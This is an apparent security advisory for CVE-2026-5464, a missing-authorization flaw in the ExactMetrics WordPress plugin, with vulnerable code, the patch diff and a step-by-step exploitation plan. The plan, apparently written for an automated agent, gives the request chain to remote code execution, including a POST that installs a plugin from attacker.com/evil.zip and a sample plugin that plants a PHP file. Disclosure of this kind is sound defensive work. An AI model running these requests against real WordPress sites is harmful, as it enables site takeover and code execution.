CVE-2026-5464

ExactMetrics <= 9.1.2 - Authenticated (Editor+) Arbitrary Plugin Installation/Activation via exactmetrics_connect_process

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
9.1.3
Patched in
1d
Time to patch

Description

The ExactMetrics – Google Analytics Dashboard for WordPress (Website Stats Plugin) plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation in all versions up to, and including, 9.1.2. This is due to the reports page exposing the 'onboarding_key' transient to any user with the 'exactmetrics_view_dashboard' capability. This key is the sole authorization gate for the '/wp-json/exactmetrics/v1/onboarding/connect-url' REST endpoint, which returns a one-time hash (OTH) token. This OTH token is then the only credential checked by the 'exactmetrics_connect_process' AJAX endpoint — which has no capability check, no nonce verification, and accepts an arbitrary plugin ZIP URL via the file parameter for installation and activation. This makes it possible for authenticated attackers, with Editor-level access and above granted the report viewing permission, to install and activate arbitrary plugins from attacker-controlled URLs, leading to Remote Code Execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=9.1.2
PublishedApril 22, 2026
Last updatedApril 23, 2026

What Changed in the Fix

Changes introduced in v9.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-5464 ## 1. Vulnerability Summary The **ExactMetrics** plugin (<= 9.1.2) contains a critical authorization bypass and missing security checks in its "Connect" and "Onboarding" features. 1. **Information Leakage:** The `onboarding_key` (stored as a tr…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-5464

1. Vulnerability Summary

The ExactMetrics plugin (<= 9.1.2) contains a critical authorization bypass and missing security checks in its "Connect" and "Onboarding" features.

  1. Information Leakage: The onboarding_key (stored as a transient) is exposed to any user with the exactmetrics_view_dashboard capability (typically Editors and above) on the reports page.
  2. Authorization Bypass: The REST API endpoint /wp-json/exactmetrics/v1/onboarding/connect-url uses this leaked onboarding_key as its only authorization mechanism. It allows a user to trigger the generation of a One-Time Hash (OTH) token.
  3. Critical Security Lack: The AJAX endpoint exactmetrics_connect_process is registered as a nopriv action (wp_ajax_nopriv_exactmetrics_connect_process), meaning it requires no WordPress authentication. Its only security check is the OTH token.
  4. Arbitrary Installation: Once an attacker has the OTH, they can call exactmetrics_connect_process with a file parameter pointing to an arbitrary ZIP URL. The plugin will download, install, and activate this ZIP as a plugin, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • REST (Auth Leak): /wp-json/exactmetrics/v1/onboarding/connect-url
    • AJAX (Installation Sink): wp-admin/admin-ajax.php?action=exactmetrics_connect_process
  • Required Role: Authenticated user with exactmetrics_view_dashboard capability (Editor role by default in ExactMetrics).
  • Parameters:
    • onboarding_key: Retrieved from JS localized data on the reports page.
    • license_key: Arbitrary string (required by REST endpoint but not validated against a server during OTH generation).
    • oth: The hashed One-Time Hash retrieved via the REST endpoint.
    • file: URL to a malicious plugin ZIP.
  • Preconditions: The exactmetrics_onboarding_key transient must be set (typically happens when the plugin is active or a dashboard page is visited).

3. Code Flow

  1. Leaking the Key: In includes/admin/admin-assets.php, the plugin localizes script data for its Vue-based reports. Although truncated in the source, the description confirms the onboarding_key transient is exposed to users with exactmetrics_view_dashboard.
  2. Retrieving the OTH:
    • The attacker calls ExactMetrics_Onboarding::register_routes's registered route: GET /wp-json/exactmetrics/v1/onboarding/connect-url.
    • validate_onboarding_request (in includes/admin/class-exactmetrics-onboarding.php) checks the onboarding_key parameter against get_transient('exactmetrics_onboarding_key').
    • If valid, the callback get_connect_url is invoked, which calls ExactMetrics_Connect::generate_connect_url_data($license_key).
    • generate_connect_url_data (in includes/connect.php):
      • Generates $oth = hash('sha512', wp_rand()).
      • Calculates $hashed_oth = hash_hmac('sha512', $oth, wp_salt()).
      • Saves the raw $oth in the database via update_option( 'exactmetrics_connect_token', $oth ).
      • Returns a URL containing the $hashed_oth in the oth query parameter.
  3. Triggering Installation:
    • The attacker calls ExactMetrics_Connect::process via admin-ajax.php?action=exactmetrics_connect_process.
    • process() (in includes/connect.php):
      • Retrieves $_REQUEST['oth'] (the hashed OTH).
      • Retrieves $_REQUEST['file'] (the malicious URL).
      • Fetches the raw token from the DB: $oth = get_option( 'exactmetrics_connect_token' ).
      • Performs the check: hash_hmac( 'sha512', $oth, wp_salt() ) !== $post_oth.
      • Since the attacker provides the hashed version returned by the REST API, this check passes.
      • Calls $installer->install( $post_url ) where $post_url is the malicious ZIP.

4. Key Acquisition Strategy (onboarding_key)

The onboarding_key is required to hit the REST API. It is localized in the WordPress admin for ExactMetrics pages.

  1. Target Page: /wp-admin/admin.php?page=exactmetrics_reports
  2. Access: Log in as an Editor.
  3. Extraction:
    • Use browser_navigate to visit the reports page.
    • Use browser_eval to search for the key in localized JS objects.
    • JS Variable Guess: Based on plugin naming conventions, it is likely in window.exactmetrics_reports or window.exactmetrics_admin_common.
    • Code: browser_eval("window.exactmetrics_reports?.onboarding_key || window.exactmetrics?.onboarding_key || window.exactmetrics_admin_common?.onboarding_key")

5. Exploitation Strategy

Step 1: Authentication & Key Extraction

  1. Log in to WordPress as an Editor.
  2. Navigate to wp-admin/admin.php?page=exactmetrics_reports.
  3. Execute JS via browser_eval to extract the onboarding_key.

Step 2: Obtain OTH Token

  1. Use the http_request tool to perform a GET request to the REST API.
  2. URL: /wp-json/exactmetrics/v1/onboarding/connect-url?onboarding_key=[EXTRACTED_KEY]&license_key=valid_format_key
  3. Expected Response: A JSON object containing a url field.
    • Example: {"success": true, "url": "https://upgrade.exactmetrics.com?oth=5a1f...&..."}
  4. Action: Parse the url parameter and extract the value of the oth query argument.

Step 3: Malicious Plugin Installation

  1. Prepare a malicious plugin ZIP (e.g., containing shell.php) and host it at http://attacker.com/evil.zip.
  2. Use the http_request tool to perform a POST request to the AJAX endpoint.
  3. URL: /wp-admin/admin-ajax.php
  4. Method: POST
  5. Content-Type: application/x-www-form-urlencoded
  6. Body:
    action=exactmetrics_connect_process&oth=[HASHED_OTH_FROM_STEP_2]&file=http://attacker.com/evil.zip
    
  7. Expected Response: {"success":true,"data":"Plugin installed & activated."} (or similar success message).

6. Test Data Setup

  1. Plugin: ExactMetrics <= 9.1.2 installed and active.
  2. User: Create a user with the editor role.
  3. Capability Check: Ensure the editor can access admin.php?page=exactmetrics_reports.
  4. Malicious Payload: A ZIP file named rce-plugin.zip containing:
    • rce-plugin/rce-plugin.php:
      <?php
      /*
      Plugin Name: RCE Plugin
      */
      file_put_contents(__DIR__ . '/pwn.php', '<?php phpinfo(); ?>');
      
  5. Hosting: Host the ZIP on a reachable local web server or the container's accessible path.

7. Expected Results

  • The onboarding/connect-url REST request returns a URL with a hashed OTH.
  • The exactmetrics_connect_process AJAX request returns a success JSON.
  • The malicious plugin is visible in the WordPress plugin list (wp plugin list).
  • The shell file (wp-content/plugins/rce-plugin/pwn.php) is created and accessible.

8. Verification Steps

  1. Check Plugin Installation:
    wp plugin is-installed rce-plugin && echo "Plugin installed successfully"
  2. Check Activation:
    wp plugin status rce-plugin (Should show as 'active').
  3. Verify RCE Sink:
    ls -la wp-content/plugins/rce-plugin/pwn.php or check via http_request.

9. Alternative Approaches

  • onboarding/settings: If the key is not in localized JS, try hitting GET /wp-json/exactmetrics/v1/onboarding/settings?onboarding_key=... if you can find the key elsewhere (e.g., a brute-force of a weak key if not random, though here it is a transient hash).
  • Direct Option Access: If the attacker has some database access or another LFI/leaked info, the exactmetrics_connect_token option contains the raw OTH. If they have the raw OTH, they can manually compute the HMAC and bypass Step 2 entirely.
Research Findings
Static analysis — not yet PoC-verified

Summary

ExactMetrics (<= 9.1.2) allows authenticated users with Editor-level permissions or higher to install and activate arbitrary plugins from external URLs. This occurs because an 'onboarding_key' is leaked via the admin dashboard, allowing attackers to obtain a One-Time Hash (OTH) which serves as the sole authentication for an unprotected AJAX installation endpoint.

Vulnerable Code

// includes/admin/class-exactmetrics-onboarding.php
public function validate_onboarding_request( $request ) {
    // Validate the onboarding key for all requests.
    $provided_key = $request->get_param( 'onboarding_key' );
    $stored_key = get_transient( 'exactmetrics_onboarding_key' );
    if ( empty( $provided_key ) || false === $stored_key || ! hash_equals( $stored_key, $provided_key ) ) {
        return new WP_Error(
            'exactmetrics_invalid_key',
            'Invalid onboarding key',
            array( 'status' => 403 )
        );
    }

    return true;
}

---

// includes/connect.php (Line ~27)
public function hooks() {
    add_action( 'wp_ajax_exactmetrics_connect_url', array( $this, 'generate_connect_url' ) );
    add_action( 'wp_ajax_nopriv_exactmetrics_connect_process', array( $this, 'process' ) );
}

---

// includes/connect.php (Line ~131)
public function process() {
    // ... (truncated)
    // verify params present (oth & download link).
    $post_oth = ! empty( $_REQUEST['oth'] ) ? sanitize_text_field($_REQUEST['oth']) : '';
    $post_url = ! empty( $_REQUEST['file'] ) ? sanitize_url($_REQUEST['file']) : '';
    // ...
    // Verify oth.
    $oth = get_option( 'exactmetrics_connect_token' );
    if ( hash_hmac( 'sha512', $oth, wp_salt() ) !== $post_oth ) {
        wp_send_json_error( $error );
    }
    // ...
    $installer = new ExactMetrics_Plugin_Upgrader( new ExactMetrics_Skin() );
    $installer->install( $post_url );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/gadwp.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/gadwp.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/gadwp.php	2026-03-31 15:00:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/gadwp.php	2026-04-22 16:28:26.000000000 +0000
@@ -5,7 +5,7 @@
  * Plugin URI: https://exactmetrics.com
  * Description: Displays Google Analytics Reports and Real-Time Statistics in your Dashboard. Automatically inserts the tracking code in every page of your website.
  * Author: ExactMetrics
- * Version: 9.1.2
+ * Version: 9.1.3
  * Requires at least: 5.6.0
  * Requires PHP: 7.2
  * Author URI: https://exactmetrics.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0
@@ -55,7 +55,7 @@
 	 * @var string $version Plugin version.
 	 */
 
-	public $version = '9.1.2';
+	public $version = '9.1.3';
 
 	/**
 	 * Plugin file.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/admin/admin-assets.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/admin/admin-assets.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/admin/admin-assets.php	2026-03-31 15:00:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/admin/admin-assets.php	2026-04-22 16:28:26.000000000 +0000
@@ -285,7 +285,7 @@
 					'auth'                 => $auth_data,
 					'authed'               => $site_auth || $ms_auth, // Boolean for admin bar compatibility
 					'plugin_version'       => EXACTMETRICS_VERSION,
-					'wizard_url'           => exactmetrics_get_onboarding_url(),
+					'wizard_url'           => exactmetrics_can_install_plugins() ? exactmetrics_get_onboarding_url() : '',
 					'rest_url'             => get_rest_url(),
 					'rest_nonce'           => wp_create_nonce( 'wp_rest' ),
 					// Direct API access (bypasses WordPress for performance).
@@ -929,7 +929,7 @@
 				'bearer_expires'     => $bearer_expires,
 				// Sample data mode: when true, frontend should bypass direct API and use WP AJAX for sample data.
 				'sample_data_enabled' => apply_filters( 'exactmetrics_sample_data_enabled', false ),
-				'wizard_url'         => is_admin() ? exactmetrics_get_onboarding_url() : '',
+				'wizard_url'         => exactmetrics_can_install_plugins() ? exactmetrics_get_onboarding_url() : '',
 				'addons'             => $addons_active,
 				'addons_info'        => $addons_info,
 				'activate_nonce'     => wp_create_nonce( 'exactmetrics-activate' ),
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/admin/class-exactmetrics-onboarding.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/admin/class-exactmetrics-onboarding.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/admin/class-exactmetrics-onboarding.php	2026-03-03 15:34:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/admin/class-exactmetrics-onboarding.php	2026-04-22 16:28:26.000000000 +0000
@@ -113,7 +113,20 @@
 		if ( empty( $provided_key ) || false === $stored_key || ! hash_equals( $stored_key, $provided_key ) ) {
 			return new WP_Error(
 				'exactmetrics_invalid_key',
-				'Invalid onboarding key',
+				esc_html__( 'Invalid onboarding key', 'google-analytics-dashboard-for-wp' ),
+				array( 'status' => 403 )
+			);
+		}
+
+		// Ensure the user who generated the key has plugin installation capability.
+		$onboarding_user_id = exactmetrics_get_onboarding_user_id();
+		if ( $onboarding_user_id && ! exactmetrics_can_install_plugins( $onboarding_user_id ) ) {
+			return new WP_Error(
+				'exactmetrics_insufficient_permissions',
+				esc_html__( 'Insufficient permissions', 'google-analytics-dashboard-for-wp' ),
 				array( 'status' => 403 )
 			);
 		}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/connect.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/connect.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/connect.php	2025-06-11 15:19:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/connect.php	2026-04-22 16:28:26.000000000 +0000
@@ -24,7 +24,7 @@
 	public function hooks() {
 
 		add_action( 'wp_ajax_exactmetrics_connect_url', array( $this, 'generate_connect_url' ) );
-		add_action( 'wp_ajax_nopriv_exactmetrics_connect_process', array( $this, 'process' ) );
+		add_action( 'wp_ajax_exactmetrics_connect_process', array( $this, 'process' ) );
 	}
 
 	/**
@@ -141,6 +141,11 @@
 			'</a>'
 		);
 
+		// Check for permissions.
+		if ( ! exactmetrics_can_install_plugins() ) {
+			wp_send_json_error( $error );
+		}
+
 		// verify params present (oth & download link).

Exploit Outline

1. Authenticate to the WordPress admin panel with a user having the 'exactmetrics_view_dashboard' capability (typically the Editor role). 2. Navigate to an ExactMetrics report page and extract the 'onboarding_key' from the localized JavaScript data (found in window.exactmetrics_reports or similar objects). 3. Send a GET request to the REST API endpoint '/wp-json/exactmetrics/v1/onboarding/connect-url', providing the extracted 'onboarding_key'. This will return a URL containing a hashed One-Time Hash (OTH) token. 4. Extract the 'oth' value from the returned URL. 5. Send an unauthenticated POST request to 'wp-admin/admin-ajax.php?action=exactmetrics_connect_process'. Provide the extracted 'oth' token in the 'oth' parameter and a URL to a malicious plugin ZIP file in the 'file' parameter. 6. The plugin will download, install, and activate the provided ZIP, allowing for Remote Code Execution (RCE) via the installed plugin code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.